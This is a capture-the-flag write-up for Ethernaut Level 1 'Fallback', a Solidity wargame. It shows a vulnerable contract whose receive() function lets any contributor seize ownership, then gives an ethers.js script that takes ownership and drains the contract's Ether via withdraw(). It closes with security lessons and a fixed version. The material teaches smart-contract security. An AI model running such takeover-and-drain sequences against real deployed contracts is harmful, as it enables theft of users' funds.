March 15, 2024

Fallback Challenge - Ethernaut Level 1

6 min readDifficulty: Easy

Challenge Description

FallbackSolidityOwnershipLevel 1

Challenge Goal

Claim ownership of the contract and then drain all Ether stored in it. This requires understanding how fallback functions work and can be triggered under specific conditions.

The Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
    require(
        msg.sender == owner,
        "caller is not the owner"
    );
    _;
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

The Vulnerability

This contract has two key vulnerabilities:

  1. The receive() function allows anyone who has made any contribution to become the owner by sending Ether directly to the contract.
  2. The withdraw() function allows the owner to drain all the contract's Ether.

The key insight is to understand how the receive() function gets triggered. In Solidity, the receive() function is called when Ether is sent to the contract without any data (function call).

The Exploit

To exploit this contract, we need to:

Steps to Exploit:

  1. Make a small contribution to the contract using the contribute() function to satisfy the contributions[msg.sender] > 0 check
  2. Send Ether directly to the contract address (without calling any function) to trigger the receive() function
  3. Call withdraw() to drain all the Ether from the contract

Code Solution

// Get contract instance
const contract = await ethers.getContractAt("Fallback", INSTANCE_ADDRESS);

// Check initial owner
const initialOwner = await contract.owner();
console.log("Initial owner:", initialOwner);

// Step 1: Make a small contribution to satisfy contributions[msg.sender] > 0
await contract.contribute({ value: ethers.utils.parseEther("0.0001") });
console.log("Made initial contribution");

// Step 2: Send Ether directly to the contract to trigger receive() function
await (await ethers.getSigner()).sendTransaction({
  to: contract.address,
  value: ethers.utils.parseEther("0.0001")
});
console.log("Sent Ether directly to contract");

// Verify we are now the owner
const newOwner = await contract.owner();
console.log("New owner:", newOwner);
console.log("Our address:", await ethers.provider.getSigner().getAddress());

// Step 3: Withdraw all funds from the contract
await contract.withdraw();
console.log("Withdrawn all funds from contract");

// Verify contract balance is 0
const balance = await ethers.provider.getBalance(contract.address);
console.log("Contract balance:", ethers.utils.formatEther(balance));

Security Lessons

  • Fallback Function Security: Fallback functions (like receive()) should be carefully designed and should not perform critical state changes like changing ownership.
  • Ownership Transfer: Ownership transfers should be performed through explicit functions with proper security checks, not as side effects.
  • Access Control: Critical functions should have stringent access controls beyond just checking ownership.
  • Multiple Condition Checks: Relying on multiple conditions for security (like msg.value > 0 && contributions[msg.sender] > 0) can create unexpected paths to exploitation.

Prevention

Here's how you could improve this contract:

// Improved version
receive() external payable {
    // Just accept the Ether, don't change critical state
}

// Separate, secure ownership transfer function
function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0), "New owner cannot be zero address");
    owner = newOwner;
    emit OwnershipTransferred(msg.sender, newOwner);
}

The improved contract:

  • Separates the concern of receiving Ether from changing ownership
  • Implements a proper ownership transfer function with appropriate checks
  • Emits events for important state changes for better transparency

Conclusion

The Fallback challenge demonstrates the importance of carefully designing fallback functions and not mixing concerns like receiving Ether with critical state changes such as ownership transfer. By understanding these principles, you can write more secure smart contracts that are resilient against such exploits.

Continue exploring the Ethernaut challenges to deepen your understanding of smart contract security.

Your Notes